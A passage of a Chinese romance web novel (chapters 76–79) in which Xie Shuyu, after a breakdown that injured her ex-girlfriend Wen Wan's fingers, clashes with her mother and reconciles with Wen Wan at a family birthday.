省医也有精神科,左叶安排谢舒毓挂诊,几人等待在外,医生和患者关起门聊了半个多小时,谢舒毓出来的时候,把医生开的药单捏成一团扔进垃圾桶。 “你干什么?”左叶问。 “我不吃药。”谢舒毓两手插兜,看起来跟没事人一样。 “那你拿头撞墙!”左叶撩了把她额前乱七八糟的碎刘海,虚虚点着额前那个大包,“我看应该给你做个核磁共振,看看里面是不是长了头驴,那么倔!” 谢舒毓往后仰了下,躲开,“你把她带走吧,送家里去。” 温晚坐在医院走廊的金属长椅,受伤的左手软软摊在膝盖,右手提着自己的X光片和病例本,远远看着她,眼泪大颗大颗掉在手心。 “你的东西我会寄到你的家庭住址,我们暂时别见面了,我现在不想看到你。” 谢舒毓站在走廊尽头,看楼下医院大厅送来的一个急诊病人,救护车上紧急包扎过,血糊了半只眼睛,流进衣领里。 她看着他,他躺在移动推车上,也默默看着她。 没有挽回,没有哀求,温晚只是哭,止不住小声哀哭。 完了,她知道这次是真的完了。 第76章 好狼狈,好丢脸 左叶给谢舒毓挂的专家号,不知道哪个学校退休后返聘的老师还是教授。 女性,身形瘦瘦小小,样子很精神,花白头发蓬松整齐,戴一副金边眼镜,说话轻声细语,给人一种妈妈的感觉。 谢舒毓觉得她真是慈悲,年近花甲,晚上七八点还在医院坐诊。 医生笑眯眯问她在想什么,长辈闲聊天的口吻,谢舒毓就如实说了。女医生探身摸了摸她头,顺势引导她说出更多关于自己的情况。 谢舒毓一直在等医生让她画人房树,但没有,她们就纯聊天。 她并不抵触,全程配合,聊够时间,医生说给她开点药,下次来记得提前预约,今天是运气好。 她摇头笑笑。 还预约,钱跟树叶子似的,风一刮就跑,半小时聊去八百块,鬼才预约。 说看医生是左叶的主意,也是左叶出的钱,谢舒毓出了诊室把药单揉团扔进垃圾桶,靠在围栏边给左叶把钱转过去。 左叶点开转账界面,退回,谢舒毓继续转,左叶继续退。如此往复三次。 谢舒毓后来转左叶支付宝,隔半分钟,左叶发现,又给转回去。 “你很有钱吗?”谢舒毓推了左叶一把。 左叶攥起谢舒毓衣领子,咬牙切齿,“你很有钱吗?这个月房贷还了没。” 几乎被提得双脚离地,谢舒毓怕再倔下去左叶动手揍她,终于老实。下次买礼物还她好了。 温晚举着两只断掉的手指坐在位置上哭,旁边乌玫不停给她擦眼泪。 擦掉左边,右边冒出来,擦掉右边,左边冒出来。 乌玫想起早些年琼瑶剧里的女主角,也是这样,觉得她真是有做演员的天赋,可以哭得这么好看还不崩表情。 谢舒毓在离她们最远的地方,靠着围栏发了会儿呆,跟左叶交待几句,喊了声“乌玫”,随即转身离开。 乌玫把兜里剩的半包纸巾塞到温晚没受伤的那只手,忙起身小跑跟上。 她们走了,温晚也不再哭了。 从事情发生到结束,她头脑始终处于一种晦暗的浑浊状态,身体系列反应完全是本能,抱着谢舒毓大腿哭喊求饶也好,拿手给她垫在墙壁增加缓冲也好…… 包括她的眼泪。 谢舒毓好像长在她身上某处的一个伤心开关,一定范围内,自动触发,她会忍不住掉眼泪。 坐在左叶的副驾驶,温晚身上是谢舒毓的白色背心,奶黄小熊睡裤以及蓝色细条纹衬衫。 布料柔软贴附在皮肤,淡淡洗衣凝珠香气混合那人专属气味,还有一种咸咸的伤心。 温晚不哭了,没受伤的那只手揪着衣领子细细闻,大腿铺一张医院给的塑料袋,里面是X光片和病历本。 等红灯的时候,左叶偏头看了她一眼,关心道:“还疼吗?” 缓缓吸气,温晚点头,又摇头。 她说不清楚。 骨头断掉了,当然痛,那痛几乎让她晕死过去。 但当时情况太过紧急,她整个人忙忙乱乱的,都不知道自己怎么从谢舒毓宿舍到的医院,医生包扎都没什么感觉。 现在,她分不清是心痛还是手痛。 “我们在一起的时候,我竟然从来没发现她精神状况的异样,我怀疑过自己有病,都没有怀疑过她。” 记忆的沙海中努力寻找种种蛛丝马迹,温晚第一次对自己产生失望情绪,“叶子,我是不是真的很糟糕啊。” “可能那时候症状还轻,有自控能力,要么就是……” 左叶顿了几秒,“其实,你们在一起的时候,也有很多快乐的时刻,她是开心的,所有你自然看不出什么异样。” 爱有伤痛,也有甜蜜。 “我现在觉得,她跟我在一起,好像从来没有开心过。” 温晚在车后视镜里看自己,谢舒毓情绪崩溃发狂时的样子浮现在脑海,“怎么会变成这样呢,叶子。” 也害怕应付家长,左叶把车停在温晚隔壁家门口,下车给她拉开车门,“我就不送你进屋了。” 温晚点点头,往前两步,轻轻抱了她一下,“谢谢你叶子,谢谢你今天及时出现,救了我们。” “哟,难得良心发现啊。” 左叶笑嘻嘻的,有些不习惯她突来的柔软,继而替她感到些许的难过,收敛笑意,“那你这次回来,不走了吧。” 温晚垂眼默了片刻,抬头,“你心里会偷偷笑话我吗?不撞南墙不回头,不到黄河心不死,都是自己作的,活该。” 叹气,左叶手把在她肩膀轻拍两下,“人就是这样的,人性便是如此,是人都无法摆脱,总要经历些事才能学会成长,别对自己那么苛刻。” 她举例说除非真的罪大恶极,即便是进了监狱,好好改造,都能争取减刑,提前出狱。 “先分开段时间也好,彼此都冷静一下,但不要钻牛角尖。” “那谢舒毓……”温晚乞求的眼神。 “你不说我也会去看她的,我们那么多年的朋友。”左叶让她放心。 温晚再次点头,觉得也该关心下她的情况,“你跟阿音……” “打住。”左叶扶着她肩,推着她肩往前走两步,“回家吧。” 左叶原地目送问温晚进院,温晚站在院门口,回头摆了摆手,左叶上车离开。 温晚举着两根断掉的手指,打开家门,换鞋,坐在客厅的沙发上。 起先,客厅只有外公一个人在那看新闻,很快全家被召集过来,围着她七嘴八舌。 温瑾抓过她手腕,戳着她脑门问到底怎么回事。 “又招呼不打就跑回家,这次还把手弄断了,你成天嚷嚷要独立自主,到头来,就把日子过成这样?” 她爸抢过她怀里抱的塑料袋,X光片对着灯,“我的乖乖,断了两根。” 表姑姑更不用说了,直围着她转圈,哭天抢地的,简直不知道该怎么办才好。 外公大喝一声,“吵死了!” “你们不要再骂我了。” 温晚耷拉着脑袋,声音像一根细细的棉线,使劲一扯就断,却也能勒进皮肉,划出血珠。 “求求你们,不要再骂我了。” 全家安静下来。 谢舒毓接到温瑾电话的时候,已经洗完澡准备睡了。 “她说是自己不小心弄的,我问怎么个不小心,她不肯说。我想你们从小就关系好,她的情况你肯定比我们都了解,所以问问你情况。” 谢舒毓也不知道该怎么解释,吞吞吐吐了半天,“就,就吵了一架,然后她不当心摔着。” 实情不好明说,一句两句也说不清楚,谢舒毓道歉,说“反正全怪我”。 温瑾有些挫败,“不知道是不是我教育方式不对,她现在好像特别不愿意跟我交流,之前回家还愿意趴我怀里撒娇,说些漂亮话哄我,后来……” 她有点说不下去了,手机听筒里,叹息声被拉长数倍。 谢舒毓只得安慰说:“等忙完这阵子,我会去看她。” 挂断电话,谢舒毓攥着手机发了很久的呆,然后两条腿从凉被里曲起,脸隔着被子枕在膝盖,眼睛无声润湿了被面上蓝色印花。 她以后还怎么见她。 在喜欢的人面前,情绪失控,拖着她要把她扔到门外,还发疯用头撞墙,撞断人家两根手指。 好狼狈,好丢脸。这太令人绝望了。 去医院的路上,温晚倒在车后排,一直嚷嚷疼,她手半举着,整条手臂都疼得在发抖,眼泪下雨似的掉。 “谢舒毓,我好疼,好疼——” 她骤然清醒过来,一时忘记了她们之间的种种不快,把她紧紧抱在怀里,不断为她擦拭眼泪。 等到一切尘埃落定,谢舒毓整颗心被透明的鱼线裹紧,切割成了无数的碎片。 怎么会变成这样呢,谢舒毓同样在问,她心都碎了。 在诊室跟心理医生谈话,她说起这些,再一次,被内心深深的愧疚感凌迟。 ——“我没脸见她了。” ——“她看到我这个样子,一定很失望。” ——“她肯定也不想再见到我了。” 干妈打来电话,也不敢说实话。 我自私,胆小,毫无担当,我真该死。 第二天还要工作,最后谢舒毓强迫自己睡觉,床上翻来覆去一个多小时,大脑终于消停了。 之后有两个多星期,她们没有见面,左叶有空就两头跑,分别汇报对方的消息。 谢舒毓从左叶口中得知,温晚一直在家乖乖养伤。 表姑姑打电话,说温晚起初每天待在房间不出门,吃很少,大部分时间在睡觉,一个星期就瘦了五六斤。 后来她爸和外公带她出门,去很远的水库钓鱼,她渐渐好起来。 “头天穿裙子去的,被蠓虫咬了,两个脚踝到晚上全是红点点,痒得不得了。” 谢舒毓一下有点着急,“蠓虫很厉害的,擦药了吗?” 表姑姑说擦了,“现在包都消下去,手再过两个星期,就能拆支架。” 谢舒毓“哦”了一声,心放回去。 表姑姑知道她们谈恋爱,也大概猜到她们分手,没问她们到底怎么了,只是寻常关心,传递彼此情况。 话到末尾,表姑姑问:“你呢?你最近怎么样。” 谢舒毓还是老样子,上班就干单位的活儿,下班就干自己接的私活儿,生活忙碌,也充实。 “不过呢,你干妈生日快到了,你知道的吧。”表姑姑说。 这通电话结束,第二天中午,谢舒毓接到李蔚兰电话,她在杂志社楼下等她。 李蔚兰提了个大饭盒,里面装些谢舒毓爱吃的菜,她们就在路边一家便利店门口放的桌椅一起吃饭。 “你干妈给我打电话了。” 李蔚兰勾了下耳边被风吹乱的一缕头发,“说你跟小碗最近都不太好,两个人一起生病。” 所以这次专程带了饭菜来看她。 上次那通短信后,李蔚兰后来给谢舒毓打了几个电话,她都没接,李蔚兰这次显得有点小心翼翼的,话题不敢过多停留在她身上,只说跟温瑾好久没见。 “我记得她生日快到了,以前都是拿钱给你,让你买礼物转交,要么就是买好东西,再让你转交。” 说到这里,李蔚兰忍不住笑了下,“但她前些日子给我打电话,好像不生我气那意思,我就……” 她央求,“到时候,我能跟你一起去吗?” 糖醋排骨都是精挑细选的小猪仔排,每个差不多大小,软硬适中,糖浆火候也正好,外面还裹了层厚厚的白芝麻。 谢舒毓啃完整盒,意识到,她跟温晚之间的关系,是一辈子也剪不断扯不清的。 “我爸跟谢舒屹呢。”她问。 “不带他们。”李蔚兰说。 谢舒毓点头说好。 “我们一起去。” 第77章 真正的朋友距离 饭吃完,谢舒毓转头进便利店买了两瓶矿泉水,回来空饭盒还摊在那。 她本来想收拾,手伸到一半,想起谢舒屹中考那阵,下午放学来不及回家吃晚饭,都是她爸提前做好饭,开车把饭盒带到学校门口,让他在车上吃。 中考最后两个月冲刺,她爸带了两个月的饭,每天变着法做,肉菜均衡,讲究得很。 谢舒屹吃完肯定不用收拾饭盒。 “那我先上去了,还有工作没忙完。” 谢舒毓起身,第一次这么没眼力见,心里还有点不自在,手无意识地捏着水瓶,塑料包装捏得窸窣响。 李蔚兰抬头看了她一眼,又看了眼桌上的空饭盒。 谢舒毓还是不动。 李蔚兰什么也没说,轻轻叹了口气,自己动手收拾了。 “再陪妈坐坐吧,你是两点还是一点半上班?还有一会儿呢。” 谢舒毓手揣进休闲裤前面两个裤兜,弯腰坐下。 她样子酷酷的,好像有点不耐烦。 “那天你干妈给我打电话,一直夸你来着。” 李蔚兰不满她懒散仪态,想说她几句,又感觉她现在开始变得难对付了,几次张嘴,抿唇,心情复杂。 “我知道你现在长大了,独立了,但买房这种事,怎么都不提前跟我们商量下呢。我跟你爸爸一点风声没听到,还是从别人口中……” 就知道。 怪不得会专程带饭来看她。 那个下雨天,谢舒毓跟房产中介看完房子,相中决定要买,然后顺道去了趟温晚家,就是专程把事情说给表姑姑听。 表姑姑大大咧咧,温晚家里人传遍,她家里人早晚也会知道。 她就是故意不告诉温晚,也故意不告诉李蔚兰,她成心让她们难受。 李蔚兰絮絮叨叨,谢舒毓不耐烦掏了掏耳朵,“那你自己反思一下,为什么我不告诉你们。” “你恨我们,高中时候把你送到温家去,你跟她们亲,不跟我们亲。”李蔚兰说。 谢舒毓想了想,没有否认,至少后半句是准确的。 “你觉得是什么就是什么吧。” 李蔚兰跟温瑾疏远,确实是因为谢舒毓。 当时温晚在学校出事,正赶上温瑾要搬家,温瑾就提议说谢舒毓也跟着考市里高中,两个小孩有伴儿,市里教育资源也更好,李蔚兰觉得她说得都挺有道理,就同意了。 后来嘛…… 谢舒毓开始不着家,跟干妈比亲妈关系要好,李蔚兰有点埋怨温瑾,温瑾骂了她几句,两人在谢舒毓大学时候就闹掰了。 “因为你,我跟你干妈这些年生疏好多,她邀请我去参加她的生日会,根本不是为跟我和好,只是因为你跟小碗闹矛盾……” 话到末尾,李蔚兰情绪激动,音量渐高,“她想把你叫过去,不好跟你明说,才通过我!” “我?”谢舒毓指着自己鼻尖,“你搞笑呢。” 李蔚兰对她一肚子怨气,她又何尝不是。 她爸和弟弟就算了,跟男的没什么好讲的,为什么妈妈也这样。 “你就知道怪我,我好欺负吗?你怎么不怪谢舒屹,是从你生他以后,你跟干妈关系才疏远,没他的时候你们不好好的,要我说他才是扫帚星呢,一来就搞坏我们家庭关系。还有,你自己处理不好人际关系,别什么都往我身上推,怪不得你到退休都当不上正校长。” 谢舒毓知道这些话很伤人,可那又怎么样,为什么她总在替别人考虑。 她越是懂事,越是体贴,人家就越是得寸进尺。 人善被人欺,这句真没错。 “你常教我自省,遇事先想想自己的问题,我以前就是太听你的话才天天内耗,把自己逼成个精神病。真奇怪,为什么你只让别人反省,自己从来不反省,甩锅倒是挺溜的,怨天怨地怨社会怨姐妹,甚至怨小孩,你简直太无辜了,天底下你最委屈。” 一口气说完,谢舒毓脸胸口剧烈起伏,脸极速发热。 她站那不动,等着李蔚兰反驳她,骂她。 风轻轻吹过,头顶大团的白云滚动,太阳从写字楼顶层小心翼翼探出半个脑袋,明亮的日光洒落鼻尖,微微刺痛。 李蔚兰嘴半张着,坐在便利店门前的红色户外连桌椅,在店员和路人惊诧及探究的目光中,呆坐着。 好多好多次,谢舒毓在家受了委屈,夜里躺床上,脑子特别活跃,翻来覆去睡不着,都是在反驳她们,“顶撞”她们。 心里对自己说,记住了,记牢了,下次再有人欺负你,就把编排好的话一股脑倒出去。 可她总是不忍心,她总是害怕让人失望。 从上次拿头撞墙,撞断温晚两根手指,谢舒毓感觉自己变了。 她不再瞻前顾后,遇见不满的人和事,她会直接说出来,清晰准确表达出自己的意思,拒绝,说不。 几次之后,她发现真没什么了不得,地球照转不误,太阳每天升起。 天不会塌,她不会死。 李蔚兰骂她又怎么样,跟她对骂好了。 但这次没有,眼底起先的震惊和愤怒散去,她眼周泛起微红的伤心。 谢舒毓看着她,忽然有点难过。 可只难过了一小会儿。 她终于知道温晚为什么总那么横了。有效,很有效。 以后她也要学温晚,螃蟹似的横着走。 最后李蔚兰什么也没说,手抹把脸,自己拎着饭盒走了。 隔了一个多小时,她自己消化好情绪,给谢舒毓发短信说下周六早上一起过去。 谢舒毓回了个“哦”。 不需要人提醒,谢舒毓不会忘记温瑾的生日,那是她干妈,她高中三年都住在她家。 虽然长大以后,感觉很多人和事都变了,但干妈还是那个干妈。 温瑾知道谢舒毓买房以后,专门给她打电话,问她原房主装修到哪步,知道她房贷压力大,让她别花钱了。 ——“你想装成什么样子,只管设计,出图纸,干妈认识保管给你安排得妥妥当当。” 给干妈的礼物谢舒毓一早就准备好,周六早上李蔚兰打电话来,谢舒毓还在刷牙。 李蔚兰直接上楼,乌玫给她开的门,她手上大包小包的,谢舒毓含着牙刷走出去,含糊了句“这么多”。 点头,李蔚兰把左手拎的几个购物店放在茶几上,“给你买了些衣服和鞋。” 乌玫打完招呼进房间,客厅没有外人了,谢舒毓试穿鞋子的时候说:“你给我准备礼物,是因为我买房了吗?” 李蔚兰脸唰就红了,然后迅速由红转黑。 “我是你妈妈,我给你买东西非得图你什么吗?你买房子跟我有什么关系,我又不去你的房子里住!” “急什么。”谢舒毓穿着新鞋,从客厅走到阳台,又走回客厅,“随便说说而已,看你激动得。” “你现在变得好刻薄。” 李蔚兰这次真被她气哭了,坐在沙发一角,眼泪颗颗掉。 谢舒毓继续试外套,“李副校长有没听说过一个词儿,叫扶弟魔,我单位的同事,以前的同学,跟我关系比较好的,担心我变成扶弟魔,听说我买房,都很为我高兴。” “你太过分了!”李蔚兰几乎是喊叫起来,“你竟然这样想我们,你工作那么多年,我们时候什么找你要过钱,你弟弟才上高中,就算他以后结婚生子,我们帮忙,也不会要你一分钱的!” “他结婚生子,你们就买房,等于我不是你们生的,我啥也没有。”谢舒毓低头找衣服拉链。 “没把你养大?”李蔚兰尖声,“没供你上学,你高中三年住在别人家,你觉得人家凭什么给你吃给你喝。” 拉链一拉到底,谢舒毓说:“你自己要生,当然得自己养,不然指望谁给你养。但你放心,等你们老了,法律上该尽的赡养义务我会尽到。” 拉链又拉下去,谢舒毓把外套脱了,“不合适,不是我的风格,拿去退了吧。” 那天李蔚兰自己躲进卫生间哭了好久,谢舒毓坐在床尾,隔着门听她细细的呜咽声,最初报复的快意淡了,浓浓的哀愁涌上,心里并没有感觉好受些。 血缘亲情,爱慕思念,人始终是感情动物。 复杂的感情动物。 吵架耽搁了会儿,李蔚兰和谢舒毓到温家是下午三点,表姑姑始终热情,不记仇的爽直性子,拉着李蔚兰的手站院里说话,都忘了把人迎进去。 因为好久没见,李蔚兰给家里每个人都带了礼物,谢舒毓跟在旁边帮着她分。 “这是给小碗的。”最后一个纸盒拿出来,李蔚兰顺手递给旁边谢舒毓。 温瑾站在屋门口,今天打扮很漂亮,新烫了头发,穿一条华丽的大花长裙,“上楼吧,小碗在楼上等你半天了。” 谢舒毓当时没多想,拿着纸盒就上楼了。 开门的瞬间,她意识到自己被骗,温晚根本没叫她,开着空调正蒙在被子里睡觉呢。 而且,为什么温晚叫她,她就一定要去见她。 房间里有股淡淡清凉油的味道,在楼下谢舒毓听她爸说,她上午才跟外公去钓鱼回来,可能又被叮得满身包。 床上那个圆圆的小鼓包听见动静,不满嘟囔,“说了进屋先敲门,又不敲门。” 不自在捏捏耳朵,谢舒毓小声说:“是我。” 那个鼓包动了,被里一颗乱七八糟的圆脑袋探出来,皱眉盯着,怀疑自己听错。 “我跟我妈一起来的。”谢舒毓说。 她们彼此都有自己想见的人,吵成那样也没赌气说走,都互相拿对方当借口,能多点底气。 飞快理了理头发,温晚爬起,有点害羞地拿被子捂着胸。 “你冷吗?”谢舒毓转身不看,去找空调遥控器,“要不关了。” “嗯,你关吧。”温晚飞快爬起,柜子里找了条睡裙胡乱套上。 谢舒毓关了空调去把窗打开,外面吹进来一股热风,伴着蝉声和不知名的花香。 隔了好久没见面,谢舒毓以为会有尴尬,其实还好。 她们曾经那么亲密,再见,身体不会被别扭的抵抗情绪控制,自然涌动出温暖的思念和熟悉感。 “你的手……” “你的病。” 她们同时开口。 谢舒毓转身,背抵在窗沿,温晚正小心翼翼看着她。谢舒毓笑了下,摇头,“没事。” 不敢看她,温晚坐在床边,耷拉着脑袋,“我的手也没事,过阵子就能拆支架了。” “这是我妈给你带的礼物。”谢舒毓说着把纸盒递过去。 温晚接过,小声说“谢谢”,打开盒子,里面是条项链。 “我……”谢舒毓有点心虚,“我没准备礼物。” “不要紧。” 温晚晃了下手里的盒子,也是她受伤的那只手,“帮我戴下可以吗?” 没法拒绝,她的手是她弄伤的。谢舒毓朝着温晚走过去。 面对面,谢舒毓弯腰把项链系好,左右手拢了她的头发,从项链里取出来。 那水一样的触感洒落在手背皮肤,冰凉柔软,又很快消散。 没有过多的视线交流,谢舒毓收回手,这才注意到,温晚脖子上还戴了一根项链。 是很久很久以前,她生日她送给她的。没有挂饰,细细长长的一条,绕了两圈。 “要不要取下来?”谢舒毓问道。 “不用,叠戴很好看。” 温晚从床头拿了面小镜子,“你知道吗?现在很流行叠戴项链的。” 谢舒毓摇头,她不知道,她不喜欢戴项链,感觉被捆住了。 “不沉吗?”她问。 “习惯就好。”温晚说。 退后两步,谢舒毓回到窗边,无聊看窗外的树。 温晚坐在床边,捏着自己的睡裙边,回头看。 没有刻意疏远,也不会过分亲近,大概这就是谢舒毓之前说的,真正的朋友距离。 第78章 “如果我重新追你呢。” 八月了。 明媚灿烂的夏天,热烈丰盛的夏天,她们最喜欢的夏天,都没怎么牵手好好在太阳下走一走。 其实没什么好可惜的,人站在屋檐下看窗外,花红树绿,世界光焰辉煌,空地站上几分钟,脸就得晒脱皮。 所以没什么好可惜的,嗯。 窗外有棵晚樱,几年前房子刚拿到手就种下,温晚家里人专门给她种的。 花树买的时候就有三四米高,头两年适应环境,开花不多,现在已经长得很好,枝条舒展开,伸手就能摘到树叶。 她们还一起错过了晚春树的花期。 错过的真不少。 谢舒毓捻起衣角擦了擦树叶,凑到唇边,试了几次都没能吹响,只发出一阵意义不明的“噗噗”声。 讶然回眸,温晚“哈哈”乐了,“还以为你在偷偷放屁。” 谢舒毓无聊攥着叶柄玩,面无表情说:“这么响,准确讲,应该是公然放屁。” 温晚笑容更大,身体小幅度起伏,习惯裸睡,她裙子里空空的,柔软的两朵随之轻荡,像含羞的花,躲藏在她披散的长发之下。 转身移开视线,谢舒毓放飞了树叶。 “干妈也来了。”久别再会,她们难得心平气和闲聊,温晚还不想下楼,又怕气氛尴尬,开始没话找话,“就你们两个。” 谢舒毓“嗯”一声。 “那你最近工作怎么样,就是你画的那个书。”温晚又问。 谢舒毓说挺好的,一切都挺好的,有条不紊进行着。 “只是过阵子要出差,去西南地区深山里的一个古村落,跟当地林科院还有电视台一起,拍摄小型的纪录片。” “你一定充满期待。”温晚双手合十,真心替她感到高兴,“肯定特别好玩。” 谢舒毓喜欢出差,说可以错峰公费旅游,还都是人迹罕至的好地方,简直不要太爽。温晚一直记得。 “很期待。”谢舒毓笑笑,唇边小酒窝浮起。 就这么有一搭没一搭聊,直到敲门声响。 “小碗小筷子?”温瑾的声音。 “请进!”温晚扬声。 开门,温瑾倚门站着,“碗大小姐现在不得了,把你老妈调教得乖顺得很,进门前都得敲门,没得到同意就只能在门外站着。” 温晚本能看向谢舒毓,无奈笑了一下。 谢舒毓顿时有点不好意思,她刚才忘了敲门。 她心中有隐隐的担忧,万一门里的人没有说“请进”该怎么办。 温瑾来,是希望谢舒毓带她们去她的新房子看看。 既然在同一个小区,距离吃饭还有两三个小时,没什么事大家就走过去看看。 谢舒毓点头答应,温瑾靠在门口还不走,似笑非笑的,“还没和好啊,东一个西一个的,隔那么远站着。” 温晚低头不说话,谢舒毓抬身往床边走两步。 温瑾让她们快点,摆摆手出去了,温晚细声,“我也可以去参观吗?” 谢舒毓被她逗笑,“有什么不可以。” “那我换衣服!”温晚欢呼。 谢舒毓张了张嘴,又闭上,抿紧了。 其实还有下半句。 ——“房子本来就是给你买的,是我们的家。” 温晚去柜里翻了条白色碎花吊带裙出来,背身站在衣柜前,自己贴了胸贴,裙子套一半,回头小声央求,“可以帮帮我吗?我的手使不上力气。” 低垂着眼不乱看,谢舒毓走到她身后,对这条裙子有点印象,问道:“是大学时候,你生日我给你买的吗?” 温晚点头。 啊,仔细看看,大衣柜里,房间里,谢舒毓给她买的东西还真不少,连她床头刚才用过的小镜子也是,高中时候两元店买的,镜子背面的印花都斑驳了。 相对应的,谢舒毓的房间里,温晚买的东西也不少。 她们之间,好像有许多无形的血管和经络连接在一起,身体里一半的神经为自己所用,另一半用来感知对方。 所以,只有她们在一起的时候才是完整的。 “你瘦了。”谢舒毓说。 大学时候买的吊带裙,穿在身上还空出两三指。 她给她拉上裙子拉链,指尖无意识触碰,看到光洁的后背皮肤起了一层细细的鸡皮疙瘩。 谨慎收手,握拳,谢舒毓退后半步,“好了。” “嗯。”温晚转身,怯怯抬头,脸颊颧骨处小团粉红色,“你也瘦了不少,是不是工作太累。” “还好。”谢舒毓又问道:“头发要扎起来吗?外面有点热。” 渴望更多的肢体接触,温晚应好,一条腿撑地,一条腿放松斜搭在床沿。 谢舒毓去梳妆台拿气垫梳,发现她架子上挂的发圈也全是她买给她的。 她真的好喜欢给温晚买这些小破烂玩意,甚至初中时候精品店买的布艺大蝴蝶结发夹也留着。 搬了几次家,还留着。 温晚头发很多,谢舒毓给她梳了个低马尾,大肠发圈松松束在一起,她回头笑,谢舒毓恍惚了几秒,仿佛又回到过去微酸带甜的少女时代。 喜欢她,不敢讲,担心吓跑她,以朋友的名义陪伴她,每次发生肢体接触,心脏会小幅度激跃一下,浑身起一层鸡皮疙瘩,然后更深的接触,她的温度和香气像潮水涌来,抚平沙滩上一个个凌乱的小脚印,感觉到幸福。 熟悉又陌生,久违的感觉。 大人们撑伞在院子里,大声催促,温晚欢快跑去窗边,“就来了!” 谢舒毓在她房间里找了把遮阳伞,她们一起下楼,她看到她妈被表姑姑和干妈簇拥着,眼眶泛红像刚哭过。 外公是个老古板,说一帮女人叽叽喳喳,吵死了,他到时候自己去看。 温瑾翻白眼,说不去拉倒,让温晚他爸也别跟着去了,看见男的就烦。 “我得去。”温晚她爸笑呵呵走到院子里,“我不去,谁给你撑伞。” “这还差不多。”温瑾双手环胸,“算你小子识相。” 大家笑起来。 六人三把伞,路上走,表姑姑跟李蔚兰一起,谢舒毓伞下自然是温晚。 谢舒毓领路,走在前面,不知道她们在后面聊些什么,没说上几句就“哈哈哈”笑,笑得比脚下灰色地砖泛起的太阳光还亮。 心底霎时柔软得一塌糊涂,所以谢舒毓觉得自己不需要吃药。 世界的阴暗面摧毁她,这些美好的瞬间同时在治愈她。 软嫩的触角,把好和坏都无限放大,坏很多,好也不少,这算是一种天赋吧。谢舒毓想。 “天真热啊。”温晚举手给自己扇扇风,“但是,这种天气,走在太阳底下,感觉人生充满了希望,仍有无限可能。” 她扬起脸,神情充满向往,“你说,我们还是好朋友,那以后我还是可以继续找你玩的,对吧?你不会不理我的。” 谢舒毓还能怎么办,“嗯”一声。 温晚察觉到了,“你好像有点不情愿。” 谢舒毓就不说话了。 过了几秒,温晚轻轻拽一下她的衣角,“还有多久能到?” 谢舒毓大概估了下时间,“五分钟。” “那这五分钟,你愿意听我说几句话吗?”温晚乞求的目光。 谢舒毓语气有些无奈,“你把我说得多刻薄。” “那就是愿意听我说。”温晚开心踮了下脚尖。 她先说工作的事,说走的时候,写了离职申请发到傅明玮邮箱,那天傅明玮给她打了很多个电话,她都没接。 “然后他说我不负责任,要起诉我,但当时我在医院,那天过得乱七八糟,实在没心情回复。” 温晚说她本来想过几天,手没那么疼了再跟他好好商量下,没想到,那边妥协了,让她有空回去办理交接。 “后来我跟他大概说了下我的情况……” 温晚声音细细的,担心频繁提到受伤的手,有道德绑架的嫌疑,怕谢舒毓心里不高兴,刻意省略很多。 “他就没说什么,上周把工资正常结算了,甚至还有补偿金。” 温晚说她也有点亏心,想把补偿金退回去的。 “后来想到,他那时候害我们吵架,就没退。” “幸好没退,不要白不要。”谢舒毓说不然她肯定会替她生气。 温晚抬眼偷瞟,小心观察她神色,“以后我就在家,不出去了,等养好伤,帮着妈妈一起打理家里的生意。” 谢舒毓点头,“挺好的。” 工作的事情说完,到房子。 温晚一开始先拿工作试探,见谢舒毓反应还可以,继续深入。 “我想仔细跟你说一说小君。” 温晚加快语速,“我知道你不喜欢小君,因为她是我的前任,但她一直横在我们之间,就像一根刺,我想,还是得把这根刺拔出来,伤口才能好,对吧,你可以耐心听我讲完吗?” 谢舒毓听到“小君”两个字的时候,心里确实有点不舒服。 可她们现在是朋友,比普通朋友关系更亲密一些的…… 普通好朋友。 况且,温晚那番话在理。 谢舒毓点头,“你说,我不生气。” 温晚就从头说起,说小君是她大学室友的朋友,一次喝酒认识,然后就开始追她。 刻意省略了谢舒毓第一次相亲事件,只说离家后,谢舒毓不知道的那些事。 “小君工作调动,把房子转租给我,那段时间确实帮了我很多,后来我就说试试吧。” 温晚解释,说她那时候对自己的性取向还稀里糊涂的,到底是只喜欢那个人,还是随便什么人只要是女生就可以。 她口中的那个人,自然是谢舒毓,只是现在她们分手了,不太好意思提。 “我们牵过手,也拥抱过,但我心里一直别别扭扭,她说感觉我特别不情愿,也不愿意强迫我,后来就分手了。” 温晚掰着手指头数,“牵过两次,一次在楼下,一次在博物馆,拥抱是发生在我生病的时候,我一直哭,她就抱了一下我,安慰我。” “然后就一直当普通朋友处,她说感觉轻松不少,我也是。所以我们对彼此真的没有一点爱情的旖旎,她也不愿意自己女朋友心里……” 心里装着另一个人。 温晚低头看脚尖,她穿妈妈给她新买的凉鞋,妈妈涂指甲油的时候顺道给她涂了。 她涂的脚,是鲜艳的大红色,衬得皮肤很白。 “小君的事,其实很简单。”温晚说。 她说出来了,抬头,吐出一口气,一口浊气。 “我感觉也轻松不少,其实真的很简单,对吧,明明五分钟就可以说完的事,欸,到五分钟了吗?”温晚谨慎转动眼神。 谢舒毓一直在看她,认真听她说话,感受她的情绪,她语气中的细微变化。 她问几分钟了,谢舒毓看到前面自己的家。二楼,朝南,有个延伸出去的超大露台。 “不到五分钟。” 温晚说是呀是呀,不到五分钟就可以说完的事,却磨磨蹭蹭纠结那么久。 “我早该跟你说清楚的。” 想到她们已经分手,变成普通朋友,温晚有点伤心,“呜”一声眼泪就掉下来了。 谢舒毓顿时有些手忙脚乱,她急忙撇清关系,“我这次可没骂你,也没动手!” 温晚破涕为笑,“你真是的……” 她眨眨眼,泪很快被风吹干,太阳烤干。 “但经历过这次,我明白了一件事。” 谢舒毓静静等她下一句。 “我跟小君决定分开做朋友,我心里一块大石头落地,感觉轻松不少。但我们之间,类似的情况出现,跟你分开后,我心里却很难过。” 她再一次红了眼眶,受伤的手,捂住受伤的心。 “很难过很难过。” 那天,谢舒毓记得,到她家门口,上楼前,温晚说的最后一句话是…… “如果我重新追你呢。” 第79章 她不想真的进火葬场 ——“如果我重新追你呢。” 这让人怎么回答,谢舒毓一直是个挺含蓄的人,她想起她们的开始,稀里糊涂的,是从西餐厅开始算,还是烤鱼摊开始算? 深究起来,温晚对她其实足够包容了,没有鲜花礼物,也没有仪式宣言,轻飘飘一句“我们在一起吧”就把人骗到手。 话及此,谢舒毓恍然想起,吵架的时候温晚抱怨过的。 小君给她送过花,傅明玮也给她送过花,偏偏…… 好像明白了,谢舒毓终于明白了。 “其实我当时也有很多做得不好的地方。” 谢舒毓又想起,温晚送的戒指还在她宿舍房间柜子抽屉里。 